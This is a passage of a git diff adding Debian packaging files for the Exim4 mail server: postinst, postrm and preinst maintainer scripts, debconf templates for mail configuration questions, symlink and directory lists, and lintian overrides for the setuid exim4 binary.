+convert_to_long ()
+{
+ case "$1" in
+ internet)
+ echo -n "internet site; mail is sent and received directly using SMTP"
+ ;;
+ smarthost)
+ echo -n "mail sent by smarthost; received via SMTP or fetchmail"
+ ;;
+ satellite)
+ echo -n "mail sent by smarthost; no local mail"
+ ;;
+ local)
+ echo -n "local delivery only; not on a network"
+ ;;
+ none)
+ echo -n "no configuration at this time"
+ ;;
+ esac
+}
+
+convert_to_short ()
+{
+ case "$1" in
+ "internet site; mail is sent and received directly using SMTP")
+ echo -n "internet"
+ ;;
+ "mail sent by smarthost; received via SMTP or fetchmail")
+ echo -n "smarthost"
+ ;;
+ "mail sent by smarthost; no local mail")
+ echo -n "satellite"
+ ;;
+ "local delivery only; not on a network")
+ echo -n "local"
+ ;;
+ "no configuration at this time")
+ echo -n "none"
+ ;;
+ esac
+}
+
+convert_transport_to_long ()
+{
+ case "$1" in
+ maildir_home)
+ echo -n "Maildir format in home directory"
+ ;;
+ mail_spool)
+ echo -n "mbox format in /var/mail/"
+ ;;
+ *)
+ echo -n "locally customized"
+ ;;
+ esac
+}
+convert_transport_to_short ()
+{
+ case "$1" in
+ "Maildir format in home directory")
+ echo -n "maildir_home"
+ ;;
+ "mbox format in /var/mail/")
+ echo -n "mail_spool"
+ ;;
+ *)
+ echo -n "custom"
+ ;;
+ esac
+}
+
+# remove orphaned autogenerated conffile if unmodified. 4.20-2.
+if [ "$1" = "configure" ] && \
+ dpkg --compare-versions "$2" le-nl "4.20-1" ; then
+
+ for i in /etc/exim4/conf.d/rewrite/30_exim4-config_email-addresses \
+ /etc/exim4/conf.d/rewrite/35_exim4-config_masquerade ; do
+ if unmodified "$i"; then
+ echo "Removing orphaned unmodified configfile $i" 1>&2
+ rm "$i"
+ fi
+ done
+
+fi
+if [ "$1" = "configure" ] && \
+ dpkg --compare-versions "$2" le-nl "4.20-2" ; then
+ if unmodified "/etc/exim4/conf.d/main/03_exim4-config_neverusers"; then
+ echo "Removing orphaned unmodified configfile /etc/exim4/conf.d/main/03_exim4-config_neverusers" 1>&2
+ rm "/etc/exim4/conf.d/main/03_exim4-config_neverusers"
+ fi
+fi
+
+# Disable orphaned inetd-entries from exim (v3) caused by bugs #202670
+# and #182206.
+if [ "$1" = "configure" ] &&\
+ which update-inetd > /dev/null && which exim > /dev/null && \
+ [ -f /etc/inetd.conf ] && \
+ grep -E -q '^smtp[[:space:]]*stream[[:space:]]*tcp[[:space:]]*nowait[[:space:]]*mail[[:space:]]*/usr/sbin/+exim exim -bs' /etc/inetd.conf
+then
+ update-inetd --comment-chars \#disabled\# \
+ --pattern '/usr/sbin/exim exim -bs' --disable smtp
+fi
+
+if [ "$1" = "configure" ] &&\
+ ! getent passwd Debian-exim > /dev/null ; then
+ echo 'Adding system-user for exim (v4)' 1>&2
+ adduser --system --group --quiet --home /var/spool/exim4 \
+ --no-create-home --disabled-login --force-badname Debian-exim
+fi
+
+# fix permissions of /etc/exim4/passwd.client
+if [ "$1" = "configure" ] ; then
+ if ! dpkg-statoverride --list /etc/exim4/passwd.client > /dev/null 2>&1
+ then
+ dpkg-statoverride --update --add root Debian-exim 0640 \
+ /etc/exim4/passwd.client
+ fi
+
+ if dpkg --compare-versions "$2" le "4.30-1" ; then
+ find /etc/exim4 -user mail \( -type f -or -type d \) -print |\
+ while read i ;
+ do
+ if ! dpkg-statoverride --list "$i" > /dev/null ; then
+ chown Debian-exim "$i"
+ fi
+ done
+ find /etc/exim4 -group mail \( -type f -or -type d \) -print |\
+ while read i ;
+ do
+ if ! dpkg-statoverride --list "$i" > /dev/null ; then
+ chgrp Debian-exim "$i"
+ fi
+ done
+ fi
+fi
+
+case "$1" in
+ configure)
+ # Configure Exim##############################
+ ##############################################
+ # valid config directives
+ dc_directives="dc_eximconfig_configtype dc_other_hostnames dc_local_interfaces dc_readhost dc_relay_domains dc_minimaldns dc_relay_nets dc_smarthost CFILEMODE dc_use_split_config dc_hide_mailname dc_mailname_in_oh dc_localdelivery"
+ # Generate config-file if it does not yet exist
+ if [ ! -e $UE4CC ] ; then
+ write_header
+ for variable in ${dc_directives} ; do
+ echo "${variable}="
+ done >> $UE4CC
+ fi
+
+ # If this is a fresh installation generate dummy files, which
+ # will be overwritten by update-exim4.conf
+ # if we add stuff later, we have to compare versions:
+ # if [ -z "$2" ] || [ "$2" = "<unknown>" ] || dpkg --compare-versions "$2" lt "4.14-0.4" ; then
+ # for file in /etc/exim4/conf.d/main/03_exim4-config_neverusers ;do
+ # if [ ! -f "$file" ] ; then
+ # echo "# d41d8cd98f00b204e9800998ecf8427e" > "$file"
+ # chmod 644 "$file"
+ # fi
+ # done
+ #fi
+
+ # generate defaultfile
+ update-exim4defaults --init
+
+ # source $UE4CC - needed for not
+ # debconf-managed values in there.
+ . $UE4CC
+
+ # Substitute values from debconf db
+ db_get exim4/dc_eximconfig_configtype || true
+ dc_eximconfig_configtype="$(convert_to_short "$RET")"
+ db_get exim4/dc_local_interfaces || true
+ dc_local_interfaces="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/dc_other_hostnames || true
+ dc_other_hostnames="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/dc_readhost || true
+ dc_readhost="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/dc_relay_domains || true
+ dc_relay_domains="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/dc_relay_nets || true
+ dc_relay_nets="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/dc_smarthost || true
+ dc_smarthost="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/dc_minimaldns || true
+ dc_minimaldns="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/mailname || true
+ mailname="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/use_split_config || true
+ dc_use_split_config="$(printf '%s\n' "$RET" | stripwhitespace)"
+ db_get exim4/hide_mailname || true
+ dc_hide_mailname="$(printf '%s\n' "$RET" | stripwhitespace)"
+
+ # overwrite dc_localdelivery with value stored in debconf db unless
+ # it is set to something else than maildir_home or mail_spool.
+ if [ "${dc_localdelivery}" = "" ] ||
+ [ "$(convert_transport_to_long ${dc_localdelivery})" != "locally customized" ] ; then
+ db_get exim4/dc_localdelivery || true
+ dc_localdelivery="$(convert_transport_to_short "$RET")"
+ fi
+
+ if [ -r /var/lib/exim4/addmailname2oh ] ; then
+ # .config added mailname to other hostnames, 2nd run of config script
+ # will have overwritten this change in debcond-db, therefore we need
+ # to store this externally, too.
+ . /var/lib/exim4/addmailname2oh
+ rm -f /var/lib/exim4/addmailname2oh
+ fi
+ db_fget "exim4/dc_other_hostnames" mailname || true
+ dc_mailname_in_oh="$RET"
+
+ [ "${CFILEMODE}" = "" ] && CFILEMODE=644
+
+ db_get exim4/dc_postmaster
+ dc_postmaster="$(printf '%s\n' "$RET" | stripwhitespace)"
+
+ if [ ! -e /etc/aliases ] ; then
+ writealiases
+ fi
+ if ! grep -q '^root:[[:space:]]*[[:alnum:]]' /etc/aliases && \
+ [ "${dc_postmaster}" != "none" ]; then
+ addrootalias "${dc_postmaster}"
+ fi
+
+ ### write configuration to files #
+ # add missing items
+ for variable in ${dc_directives} ; do
+ if ! grep -E -q "^[[:space:]]*${variable}=" $UE4CC ; then
+ echo "${variable}=''" >> $UE4CC
+ fi
+ done
+ # insert new values, remove outdated ones.
+
+ # Use environment variables to communicate data to awk, to
+ # avoid shell (or awk or sed) string expansion which may
+ # expand escape sequences. Note that the variables named in
+ # ${dc_directives} (but not the variable names themselves) may
+ # contain escaped characters like \N.
+
+ export dc_directives ${dc_directives}
+
+ awk '
+ BEGIN {
+ split( ENVIRON["dc_directives"], directives, "[ \t]" );
+ }
+ {
+ written = 0;
+ for ( i in directives )
+ {
+ regex = "^[ \t]*" directives[i] "=";
+ if ( ( $0 ~ regex ) && ( ! written ) )
+ {
+ # Add single quotes (\0x27) around the value.
+ print directives[i] "=\x27" ENVIRON[directives[i]] "\x27";
+ written = 1;
+ break;
+ }
+ }
+ if ( ! written )
+ print $0;
+ }' < ${UE4CC} > ${UE4CC}.tmp
+
+ mv ${UE4CC}.tmp $UE4CC
+
+ echo $mailname > /etc/mailname
+ ### configuration files written ##
+
+
+ if [ "${dc_eximconfig_configtype}" != "none" ]; then
+ update-exim4.conf
+ fi
+ # If dpkg-reconfigure was used implement the changes by restarting
+ # the daemon.
+ if [ "${DEBCONF_RECONFIGURE}" = "1" ] ; then
+ if [ -x /etc/init.d/exim4 ]; then
+ # use restart instead of reload, as changing listening
+ # interfaces cannot be done with HUP.
+ db_stop
+ if [ -n "$EX4DEBUG" ]; then
+ netstat -tulpen
+ ls -al /run/exim4/
+ cat /run/exim4/exim.pid
+ pidof exim4
+ fi
+ if [ "$dc_eximconfig_configtype" = "none" ]; then
+ # we may have broken config here, ignore errors
+ invoke-rc.d exim4 restart || true
+ else
+ # we must have working config here, honor errors
+ invoke-rc.d exim4 restart
+ fi
+ if [ -n "$EX4DEBUG" ]; then
+ netstat -tulpen
+ ls -al /run/exim4/
+ cat /run/exim4/exim.pid
+ pidof exim4
+ if pidof exim4; then
+ echo >&2 "WARN: There are some exim4 processes still running after stopping exim"
+ fi
+ fi
+ fi
+ fi
+
+ ;;
+esac
+
+# remove orphaned conffile if unmodified. 4.20-2.
+if [ "$1" = "configure" ] && \
+ dpkg --compare-versions "$2" le-nl "4.20-1" && \
+ [ -e /etc/exim4/email-addresses ] && \
+ [ "$(md5sum /etc/exim4/email-addresses | cut -d\ -f1)" = "6bea09fbb18e4676012105fa5fc726c6" ]
+then
+ echo "Removing orphaned unmodified configfile /etc/exim4/email-addresses" 1>&2
+ rm /etc/exim4/email-addresses
+fi
+
+
+#DEBHELPER#
diff --git a/debian/exim4-config.postrm b/debian/exim4-config.postrm
new file mode 100644
index 0000000..dffd4c4
--- /dev/null
+++ b/debian/exim4-config.postrm
@@ -0,0 +1,30 @@
+#!/bin/sh
+
+set -e
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+case "$1" in
+ purge)
+ dpkg-statoverride --remove /etc/exim4/passwd.client || true
+ rm -f /etc/exim4/update-exim4.conf.conf
+ rm -f /var/lib/exim4/config.autogenerated
+ rm -f /etc/exim4/conf.d/main/03_exim4-config_neverusers \
+ /etc/exim4/conf.d/rewrite/30_exim4-config_email-addresses \
+ /etc/exim4/conf.d/rewrite/35_exim4-config_masquerade
+
+ # remove empty directories in /etc/exim4
+ rmdir /etc/exim4/conf.d/auth /etc/exim4/conf.d/acl \
+ /etc/exim4/conf.d/transport /etc/exim4/conf.d/main \
+ /etc/exim4/conf.d/retry /etc/exim4/conf.d/rewrite \
+ /etc/exim4/conf.d/router /etc/exim4/conf.d \
+ /etc/exim4 /var/lib/exim4 2> /dev/null || true
+ rm -f /etc/default/exim4
+ # remove user
+ #deluser --quiet Debian-exim > /dev/null || true
+ ;;
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-config.preinst b/debian/exim4-config.preinst
new file mode 100644
index 0000000..e30e4df
--- /dev/null
+++ b/debian/exim4-config.preinst
@@ -0,0 +1,39 @@
+#!/bin/sh
+
+set -e
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+# Remove a no-longer used conffile
+# Solution and code taken from http://wiki.debian.org/DpkgConffileHandling
+# and "beautified" (hopefully not broken)
+rm_conffile() {
+ PKGNAME="$1"
+ CONFFILE="$2"
+
+ if [ -e "$CONFFILE" ]; then
+ md5sum="$(md5sum "$CONFFILE" | sed -e "s/ .*//")"
+ old_md5sum="$(dpkg-query -W -f='${Conffiles}' $PKGNAME | sed -n -e "\' $CONFFILE'{s/ obsolete$//;s/.* //;p;}")"
+ if [ "$md5sum" != "$old_md5sum" ]; then
+ echo "Obsolete conffile $CONFFILE has been modified by you."
+ echo "Saving as $CONFFILE.dpkg-bak ..."
+ mv -f "$CONFFILE" "$CONFFILE".dpkg-bak
+ else
+ echo "Removing obsolete conffile $CONFFILE ..."
+ rm -f "$CONFFILE"
+ fi
+ fi
+}
+
+case "$1" in
+install|upgrade)
+ if dpkg --compare-versions "$2" lt "4.68-1"; then
+ rm_conffile exim4-config "/etc/exim4/conf.d/acl/20_exim4-config_whitelist_local_deny"
+ rm_conffile exim4-config "/etc/exim4/conf.d/router/250_exim4-config_lowuid"
+ fi
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-config.templates b/debian/exim4-config.templates
new file mode 100644
index 0000000..c8835e4
--- /dev/null
+++ b/debian/exim4-config.templates
@@ -0,0 +1,196 @@
+Template: exim4/dc_eximconfig_configtype
+Type: select
+# Translators beware! the following six strings form a single
+# Choices menu. - Every one of these strings has to fit in a standard
+# 80 characters console, as the fancy screen setup takes up some space
+# try to keep below ~71 characters.
+# DO NOT USE commas (,) in Choices translations otherwise
+# this will break the choices shown to users
+__Choices: internet site; mail is sent and received directly using SMTP, mail sent by smarthost; received via SMTP or fetchmail, mail sent by smarthost; no local mail, local delivery only; not on a network, no configuration at this time
+Default: local delivery only; not on a network
+_Description: General type of mail configuration:
+ Please select the mail server configuration type that best meets your needs.
+ .
+ Systems with dynamic IP addresses, including dialup systems, should generally
+ be configured to send outgoing mail to another machine, called a 'smarthost'
+ for delivery because many receiving systems on the Internet block
+ incoming mail from dynamic IP addresses as spam protection.
+ .
+ A system with a dynamic IP address can receive its own mail, or local
+ delivery can be disabled entirely (except mail for root and postmaster).
+
+Template: exim4/no_config
+Type: boolean
+Default: true
+_Description: Really leave the mail system unconfigured?
+ Until the mail system is configured, it will be broken and cannot be
+ used. Configuration at a later time can be done either by hand or by
+ running 'dpkg-reconfigure exim4-config' as root.
+
+Template: exim4/mailname
+Type: string
+_Description: System mail name:
+ The 'mail name' is the domain name used to 'qualify' mail addresses
+ without a domain name.
+ .
+ This name will also be used by other programs. It should be the
+ single, fully qualified domain name (FQDN).
+ .
+ Thus, if a mail address on the local host is foo@example.org,
+ the correct value for this option would be example.org.
+ .
+ This name won't appear on From: lines of outgoing messages if rewriting
+ is enabled.
+
+Template: exim4/dc_other_hostnames
+Type: string
+Default:
+_Description: Other destinations for which mail is accepted:
+ Please enter a semicolon-separated list of recipient domains for
+ which this machine should consider itself the final destination.
+ These domains are commonly called 'local domains'. The local hostname
+ (${fqdn}) and 'localhost' are always added to the list given here.
+ .
+ By default all local domains will be treated identically. If both
+ a.example and b.example are local domains, acc@a.example and
+ acc@b.example will be delivered to the same final destination. If
+ different domain names should be treated differently, it is
+ necessary to edit the config files afterwards.
+
+Template: exim4/dc_relay_domains
+Type: string
+Default:
+_Description: Domains to relay mail for:
+ Please enter a semicolon-separated list of recipient domains for
+ which this system will relay mail, for example as a fallback MX or
+ mail gateway. This means that this system will accept mail for these
+ domains from anywhere on the Internet and deliver them according to
+ local delivery rules.
+ .
+ Do not mention local domains here. Wildcards may be used.
+
+Template: exim4/dc_relay_nets
+Type: string
+Default:
+_Description: Machines to relay mail for:
+ Please enter a semicolon-separated list of IP address ranges for
+ which this system will unconditionally relay mail, functioning as a
+ smarthost.
+ .
+ You should use the standard address/prefix format (e.g. 194.222.242.0/24
+ or 5f03:1200:836f::/48).
+ .
+ If this system should not be a smarthost for any other host, leave
+ this list blank.
+
+Template: exim4/dc_readhost
+Type: string
+_Description: Visible domain name for local users:
+ The option to hide the local mail name in outgoing mail was enabled.
+ It is therefore necessary to specify the domain name this system
+ should use for the domain part of local users' sender addresses.
+
+Template: exim4/dc_smarthost
+Type: string
+_Description: IP address or host name of the outgoing smarthost:
+ Please enter the IP address or the host name of a mail server that
+ this system should use as outgoing smarthost. If the smarthost only
+ accepts your mail on a port different from TCP/25, append two colons
+ and the port number (for example smarthost.example::587 or
+ 192.168.254.254::2525). Colons in IPv6 addresses need to be doubled.
+ .
+ If the smarthost requires authentication, please refer to
+ the Debian-specific README files in /usr/share/doc/exim4-base for
+ notes about setting up SMTP authentication.
+
+Template: exim4/dc_postmaster
+Type: string
+_Description: Root and postmaster mail recipient:
+ Mail for the 'postmaster', 'root', and other system accounts needs to
+ be redirected to the user account of the actual system administrator.
+ .
+ If this value is left empty, such mail will be saved in /var/mail/mail,
+ which is not recommended.
+ .
+ Note that postmaster's mail should be read on the system to which it is
+ directed, rather than being forwarded elsewhere, so (at least one of)
+ the users listed here should not redirect their mail off this machine.
+ A 'real-' prefix can be used to force local delivery.
+ .
+ Multiple user names need to be separated by spaces.
+
+Template: exim4/dc_local_interfaces
+Type: string
+Default: notset
+_Description: IP-addresses to listen on for incoming SMTP connections:
+ Please enter a semicolon-separated list of IP addresses. The Exim SMTP
+ listener daemon will listen on all IP addresses listed here.
+ .
+ An empty value will cause Exim to listen for connections on all
+ available network interfaces.
+ .
+ If this system only receives mail directly from local services
+ (and not from other hosts), it is suggested to prohibit external
+ connections to the local Exim daemon. Such services include e-mail
+ programs (MUAs) which talk to localhost only as well as fetchmail.
+ External connections are impossible when 127.0.0.1 is entered here,
+ as this will disable listening on public network interfaces.
+
+Template: exim4/dc_minimaldns
+Type: boolean
+Default: false
+_Description: Keep number of DNS-queries minimal (Dial-on-Demand)?
+ In normal mode of operation Exim does DNS lookups at startup, and when
+ receiving or delivering messages. This is for logging purposes and
+ allows keeping down the number of hard-coded values in the
+ configuration.
+ .
+ If this system does not have a DNS full service resolver available at
+ all times (for example if its Internet access is a dial-up line using
+ dial-on-demand), this might have unwanted consequences. For example,
+ starting up Exim or running the queue (even with no messages waiting)
+ might trigger a costly dial-up-event.
+ .
+ This option should be selected if this system is using Dial-on-Demand.
+ If it has always-on Internet access, this option should be disabled.
+
+Template: exim4/exim4-config-title
+Type: title
+_Description: Mail Server configuration
+
+Template: exim4/use_split_config
+Type: boolean
+_Description: Split configuration into small files?
+ The Debian exim4 packages can either use 'unsplit configuration', a
+ single monolithic file (/etc/exim4/exim4.conf.template) or 'split
+ configuration', where the actual Exim configuration files are built
+ from about 50 smaller files in /etc/exim4/conf.d/.
+ .
+ Unsplit configuration is better suited for large modifications and is
+ generally more stable, whereas split configuration offers a comfortable
+ way to make smaller modifications but is more fragile and might break
+ if modified carelessly.
+ .
+ A more detailed discussion of split and unsplit configuration can be
+ found in the Debian-specific README files in /usr/share/doc/exim4-base.
+
+Template: exim4/hide_mailname
+Type: boolean
+_Description: Hide local mail name in outgoing mail?
+ The headers of outgoing mail can be rewritten to make it appear to have been
+ generated on a different system. If this option is chosen,
+ '${mailname}', 'localhost' and '${dc_other_hostnames}' in From, Reply-To,
+ Sender and Return-Path are rewritten.
+
+Template: exim4/dc_localdelivery
+Type: select
+__Choices: mbox format in /var/mail/, Maildir format in home directory
+Default: mbox format in /var/mail/
+_Description: Delivery method for local mail:
+ Exim is able to store locally delivered email in different formats.
+ The most commonly used ones are mbox and Maildir. mbox uses a single
+ file for the complete mail folder stored in /var/mail/. With Maildir
+ format every single message is stored in a separate file in ~/Maildir/.
+ .
+ Please note that most mail tools in Debian expect the local delivery
+ method to be mbox in their default.
diff --git a/debian/exim4-daemon-custom.dirs b/debian/exim4-daemon-custom.dirs
new file mode 100644
index 0000000..45e1018
--- /dev/null
+++ b/debian/exim4-daemon-custom.dirs
@@ -0,0 +1,3 @@
+/usr/lib/exim4
+/usr/sbin
+/usr/share/man/man8
diff --git a/debian/exim4-daemon-custom.docs b/debian/exim4-daemon-custom.docs
new file mode 100644
index 0000000..bf9c376
--- /dev/null
+++ b/debian/exim4-daemon-custom.docs
@@ -0,0 +1 @@
+EDITME.exim4-custom
diff --git a/debian/exim4-daemon-custom.install b/debian/exim4-daemon-custom.install
new file mode 100644
index 0000000..a28d51b
--- /dev/null
+++ b/debian/exim4-daemon-custom.install
@@ -0,0 +1 @@
+debian/script usr/share/bug/exim4-daemon-custom
diff --git a/debian/exim4-daemon-custom.links b/debian/exim4-daemon-custom.links
new file mode 100644
index 0000000..a342ee2
--- /dev/null
+++ b/debian/exim4-daemon-custom.links
@@ -0,0 +1,18 @@
+usr/sbin/exim4 usr/bin/mailq
+usr/sbin/exim4 usr/bin/newaliases
+usr/sbin/exim4 usr/lib/exim4/exim4
+usr/sbin/exim4 usr/lib/sendmail
+usr/sbin/exim4 usr/sbin/exim
+usr/sbin/exim4 usr/sbin/rmail
+usr/sbin/exim4 usr/sbin/rsmtp
+usr/sbin/exim4 usr/sbin/runq
+usr/sbin/exim4 usr/sbin/sendmail
+usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-custom/README.Debian.gz
+usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-custom/changelog.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz
diff --git a/debian/exim4-daemon-heavy.config b/debian/exim4-daemon-heavy.config
new file mode 100644
index 0000000..1eaec3f
--- /dev/null
+++ b/debian/exim4-daemon-heavy.config
@@ -0,0 +1,17 @@
+#!/bin/sh
+set -e
+
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+db_version 2.0
+
+if [ "reconfigure" = "$1" ]; then
+ db_beginblock
+ db_input low exim4-daemon-heavy/drec || [ "$?" = "30" ]
+ db_go
+fi
diff --git a/debian/exim4-daemon-heavy.dirs b/debian/exim4-daemon-heavy.dirs
new file mode 100644
index 0000000..341ca05
--- /dev/null
+++ b/debian/exim4-daemon-heavy.dirs
@@ -0,0 +1,4 @@
+/usr/lib/exim4
+/usr/lib/exim4/local_scan
+/usr/sbin
+/usr/share/man/man8
diff --git a/debian/exim4-daemon-heavy.docs b/debian/exim4-daemon-heavy.docs
new file mode 100644
index 0000000..000e03f
--- /dev/null
+++ b/debian/exim4-daemon-heavy.docs
@@ -0,0 +1 @@
+EDITME.exim4-heavy
diff --git a/debian/exim4-daemon-heavy.install b/debian/exim4-daemon-heavy.install
new file mode 100644
index 0000000..1aff3cb
--- /dev/null
+++ b/debian/exim4-daemon-heavy.install
@@ -0,0 +1 @@
+debian/script usr/share/bug/exim4-daemon-heavy
diff --git a/debian/exim4-daemon-heavy.links b/debian/exim4-daemon-heavy.links
new file mode 100644
index 0000000..373c212
--- /dev/null
+++ b/debian/exim4-daemon-heavy.links
@@ -0,0 +1,18 @@
+usr/sbin/exim4 usr/bin/mailq
+usr/sbin/exim4 usr/bin/newaliases
+usr/sbin/exim4 usr/lib/exim4/exim4
+usr/sbin/exim4 usr/lib/sendmail
+usr/sbin/exim4 usr/sbin/exim
+usr/sbin/exim4 usr/sbin/rmail
+usr/sbin/exim4 usr/sbin/rsmtp
+usr/sbin/exim4 usr/sbin/runq
+usr/sbin/exim4 usr/sbin/sendmail
+usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-heavy/README.Debian.gz
+usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-heavy/changelog.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz
diff --git a/debian/exim4-daemon-heavy.lintian-overrides b/debian/exim4-daemon-heavy.lintian-overrides
new file mode 100644
index 0000000..4286669
--- /dev/null
+++ b/debian/exim4-daemon-heavy.lintian-overrides
@@ -0,0 +1,2 @@
+exim4-daemon-heavy: setuid-binary usr/sbin/exim4 4755 root/root
+exim4-daemon-heavy: package-contains-empty-directory usr/lib/exim4/local_scan/
diff --git a/debian/exim4-daemon-heavy.templates b/debian/exim4-daemon-heavy.templates
new file mode 100644
index 0000000..8a60a07
--- /dev/null
+++ b/debian/exim4-daemon-heavy.templates
@@ -0,0 +1,5 @@
+Template: exim4-daemon-heavy/drec
+Type: error
+_Description: Reconfigure exim4-config instead of this package
+ Exim4 has its configuration factored out into a dedicated package,
+ exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'.
diff --git a/debian/exim4-daemon-light.config b/debian/exim4-daemon-light.config
new file mode 100644
index 0000000..113904f
--- /dev/null
+++ b/debian/exim4-daemon-light.config
@@ -0,0 +1,17 @@
+#!/bin/sh
+set -e
+
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+db_version 2.0
+
+if [ "reconfigure" = "$1" ]; then
+ db_beginblock
+ db_input low exim4-daemon-light/drec || [ "$?" = "30" ]
+ db_go
+fi
diff --git a/debian/exim4-daemon-light.dirs b/debian/exim4-daemon-light.dirs
new file mode 100644
index 0000000..45e1018
--- /dev/null
+++ b/debian/exim4-daemon-light.dirs
@@ -0,0 +1,3 @@
+/usr/lib/exim4
+/usr/sbin
+/usr/share/man/man8
diff --git a/debian/exim4-daemon-light.docs b/debian/exim4-daemon-light.docs
new file mode 100644
index 0000000..53db684
--- /dev/null
+++ b/debian/exim4-daemon-light.docs
@@ -0,0 +1 @@
+EDITME.exim4-light
diff --git a/debian/exim4-daemon-light.install b/debian/exim4-daemon-light.install
new file mode 100644
index 0000000..1249d8b
--- /dev/null
+++ b/debian/exim4-daemon-light.install
@@ -0,0 +1 @@
+debian/script usr/share/bug/exim4-daemon-light
diff --git a/debian/exim4-daemon-light.links b/debian/exim4-daemon-light.links
new file mode 100644
index 0000000..241b2dc
--- /dev/null
+++ b/debian/exim4-daemon-light.links
@@ -0,0 +1,18 @@
+usr/sbin/exim4 usr/bin/mailq
+usr/sbin/exim4 usr/bin/newaliases
+usr/sbin/exim4 usr/lib/exim4/exim4
+usr/sbin/exim4 usr/lib/sendmail
+usr/sbin/exim4 usr/sbin/exim
+usr/sbin/exim4 usr/sbin/rmail
+usr/sbin/exim4 usr/sbin/rsmtp
+usr/sbin/exim4 usr/sbin/runq
+usr/sbin/exim4 usr/sbin/sendmail
+usr/share/doc/exim4-base/README.Debian.gz usr/share/doc/exim4-daemon-light/README.Debian.gz
+usr/share/doc/exim4-base/changelog.gz usr/share/doc/exim4-daemon-light/changelog.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/exim4.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/mailq.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/newaliases.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/rmail.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/rsmtp.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/runq.8.gz
+usr/share/man/man8/exim.8.gz usr/share/man/man8/sendmail.8.gz
diff --git a/debian/exim4-daemon-light.lintian-overrides b/debian/exim4-daemon-light.lintian-overrides
new file mode 100644
index 0000000..9e7f2a6
--- /dev/null
+++ b/debian/exim4-daemon-light.lintian-overrides
@@ -0,0 +1 @@
+exim4-daemon-light: setuid-binary usr/sbin/exim4 4755 root/root
diff --git a/debian/exim4-daemon-light.postinst b/debian/exim4-daemon-light.postinst
new file mode 100644
index 0000000..4a2e108
--- /dev/null
+++ b/debian/exim4-daemon-light.postinst
@@ -0,0 +1,60 @@
+#!/bin/sh
+
+set -e
+
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+dc_eximconfig_configtype="other"
+db_get exim4/dc_eximconfig_configtype || true
+if [ "$RET" = "no configuration at this time" ]; then
+ dc_eximconfig_configtype="none"
+fi
+
+case "$1" in
+ configure)
+
+ # || true is needed for succesfull installation with configtype 'none'
+ if [ -x /etc/init.d/exim4 ]; then
+ db_stop
+ if [ "$dc_eximconfig_configtype" = "none" ]; then
+ # we may have broken config here, ignore errors
+ invoke-rc.d exim4 start || true
+ else
+ # we must have working config here, honor errors
+ invoke-rc.d exim4 start
+ fi
+ fi
+
+ # set up DH-parameter file, update if older than 160 days
+ if test -e /var/spool/exim4/gnutls-params-2048 ; then
+ if [ `stat --format=%Y /var/spool/exim4/gnutls-params-2048` -le $(( `date +%s` - 13824000 )) ];
+ then
+ echo "Updating GnuTLS DH parameter file" 1>&2
+ /usr/share/exim4/exim4_refresh_gnutls-params
+ fi
+ else
+ echo "Initializing GnuTLS DH parameter file" 1>&2
+ tempgnutls=$(tempfile --directory /var/spool/exim4 --mode 644 --prefix "gnutp")
+ chown Debian-exim:Debian-exim $tempgnutls
+ if which certtool > /dev/null 2>&1 && \
+ timeout --preserve-status --kill-after=15 120 \
+ certtool --generate-dh-params --bits 2048 > $tempgnutls ; then
+ mv $tempgnutls /var/spool/exim4/gnutls-params-2048
+ else
+ rm -f $tempgnutls
+ install -m 644 -o Debian-exim -g Debian-exim \
+ /usr/share/exim4/gnutls-params-2048 \
+ /var/spool/exim4/gnutls-params-2048
+ fi
+ fi
+
+
+ ;;
+esac
+
+#DEBHELPER#
diff --git a/debian/exim4-daemon-light.prerm b/debian/exim4-daemon-light.prerm
new file mode 100644
index 0000000..c7c3db8
--- /dev/null
+++ b/debian/exim4-daemon-light.prerm
@@ -0,0 +1,33 @@
+#!/bin/sh
